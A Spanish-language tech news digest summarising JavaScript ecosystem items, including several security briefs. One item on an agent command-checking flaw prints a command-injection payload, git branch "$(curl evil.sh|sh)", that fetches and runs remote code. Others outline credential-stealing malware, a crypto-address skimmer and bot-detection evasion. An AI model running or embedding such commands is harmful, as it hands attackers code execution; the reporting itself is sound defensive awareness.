El ecosistema de JavaScript y TypeScript.
Shopify desarrolló dos agentes de IA internos —Pi para el mapeo de funciones y Tardis para la depuración en vivo— para automatizar la reescritura, permitiéndole retirar su stack de React Native de seis años de antigüedad, logrando un inicio 2 segundos más rápido, una aplicación 109 MB más ligera y aproximadamente diez veces menos errores.
Al sustituir el complejo patrón `new Promise` por una sola llamada a `Promise.withResolvers()`, los desarrolladores pueden pasar las funciones resolve/reject a cualquier parte del sistema, eliminando los resolve olvidados, las advertencias de doble rechazo y el anidamiento profundo, algo especialmente útil en entornos Lambda serverless.
Los servidores generan un hash del TLS ClientHello sin procesar para crear una huella digital JA3/JA4; cualquier discrepancia con el User-Agent declarado o la configuración de HTTP/2 marca la solicitud como automatizada. La única solución fiable es lograr que cada capa de la solicitud presente la misma identidad de navegador.
Los pesos con formato GGUF de Pocket-35B se cargan directamente en llama.cpp u Ollama, lo que permite a equipos sin presupuesto para GPU ejecutar un modelo de 35 mil millones de parámetros en un portátil estándar, siempre que cumplan con el modesto requisito de RAM.
Al hacer casting, la reproducción se transfiere al firmware del televisor, por lo que los tokens deben durar más que la sesión, los encabezados CORS deben incluir el origen del televisor y la URL de la transmisión no puede ser un blob. Esta guía muestra cómo cambiar a una URL de manifiesto y validar la conexión.
El nuevo lockfile predeterminado en Bun v1.2 es un bun.lock de texto plano, que reemplaza al opaco bun.lockb. Este cambio permite a los revisores ver cambios exactos de versión, ejecutar comprobaciones de políticas en CI y rastrear inserciones maliciosas con herramientas estándar de git.
La carga útil de JSCeal, que solo opera en la RAM, extrae cookies, contraseñas guardadas y tokens OAuth de los navegadores Chromium, para luego reproducir las sesiones y eludir la solicitud de segundo factor de Google, permitiendo que los atacantes se apropien de fondos de Binance, Bybit, Ledger y más.
Los paquetes, publicados entre las 04:54:59 y las 04:55:48 UTC del 7 de septiembre de 2026, imitaban a @coinbase/wallet-sdk con nombres como cb-wallet-http y utilizaban una versión 0.0.1-security, lo que resalta la rapidez con la que el código malicioso puede infiltrarse en los proyectos.
Cisco Talos descubrió ClickFix, un esquema de skimming de criptomonedas que engaña a los usuarios para que instalen un script de Tampermonkey. El script reescribe las direcciones de depósito en tiempo real, desviando los fondos mientras la transacción parece legítima.
Al probar 13 expresiones de rango con 19 números de versión, se obtuvieron solo 17 resultados coincidentes, la mayoría de ellos rechazos. Los símbolos caret, tilde y dot-x se interpretan de forma distinta en cada gestor, lo que provoca incompatibilidades sorprendentes.
El error de SSRF persiste en Ollama 0.33.2 debido a que el descargador de modelos de tensores utiliza un cliente HTTP independiente que omite la protección de redirección implementada para la CVE-2026-5530, permitiendo a los atacantes redirigir las descargas a cualquier dirección accesible.
CVE-2026-22708 demuestra que los agentes que solo comprueban el primer token de un comando pueden ser engañados por cargas útiles ocultas en los argumentos —por ejemplo, git branch "$(curl evil.sh|sh)"—, lo que otorga a los atacantes los mismos privilegios que al bot de automatización.
El descuento del 45 % se aplica cuando se reutilizan el mismo prompt de sistema y el mismo esquema de herramientas en múltiples iteraciones, lo que hace que Claude Fable 5.1 sea especialmente atractivo para revisores de código autónomos, bots de triaje de tickets y otros flujos de agentes repetitivos.
WebFPGA uses the WebUSB API to program a Lattice iCE40-UP5K FPGA from JavaScript, enabling sub-10 ms TinyML inference while drawing only a few tens of milliwatts and keeping all data on the device.
Las claves expuestas permiten a los atacantes realizar cargos, extraer facturas y recolectar datos personales, lo que supone un riesgo de contracargos, multas y daños a la reputación de la marca. Las medidas inmediatas incluyen el bloqueo de archivos dotfiles, la rotación de todas las claves y el traslado de los secretos a un almacén de claves (vault).
La nueva versión optimiza el diseño de párrafos para escrituras complejas, añade una Vista de borrador simplificada y mejora la conversión de ODF a DOCX/XLSX, mientras que los parches de seguridad y el aislamiento de macros mantienen los documentos seguros de forma local.
El motor escrito en Rust se ejecuta en un proceso independiente, desacoplando el análisis de tipos del hilo de la interfaz de usuario y añadiendo un sistema de caché más inteligente que solo vuelve a verificar los archivos modificados, lo que permite compilaciones incrementales más ágiles.
El próximo modo Vapor de Vue 3.6 compila componentes de archivo único en llamadas directas al DOM, eliminando el paso de diferenciación del DOM virtual. En juegos de referencia que se repintan decenas de veces por segundo, el cambio reduce el tiempo de renderizado y el tamaño de los paquetes, aunque las interfaces de baja frecuencia apenas experimentan mejoras.
Los ingenieros de Anthropic utilizaron 64 agentes paralelos de Claude Fable 5 para reescribir la base de código de Bun en Rust en 11 días, registrando un gasto de 165 mil dólares en tokens, aunque el costo real probablemente sea mayor una vez que se consideren el cómputo tras la integración y las auditorías de seguridad.
Con la eliminación de los encabezados de solicitud exclusivos de la versión beta, las empresas finalmente pueden superar los obstáculos legales y de seguridad. El nuevo modo de acción por lotes para la herramienta de uso de computadora también promete una menor latencia y un menor uso de tokens, aunque los ahorros deben ser verificados.
El lanzamiento también introduce Partial Prerendering listo para producción, que puede reducir el Time to Interactive entre un 40 y un 60 %, un soporte de TypeScript más robusto para Server Actions y middleware basado en Rust, aunque requiere Node 20+ y podría afectar la compatibilidad con los plugins de Webpack existentes.
La nueva beta permite importar solo las funciones de cuadrícula que utilizas: omite por completo el código de ordenación, reduce la descarga a unos 5 KB y evita el trabajo en el hilo principal que antes ralentizaba las puntuaciones de INP.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
Dominando el almacenamiento en caché avanzado del lado del servidor en Next.js. Escalar una aplicación de Next.js requiere algo más que simplemente elegir entre SSR y SSG. A medida que tus datos crecen, necesitas un almacenamiento en caché avanzado para redu…
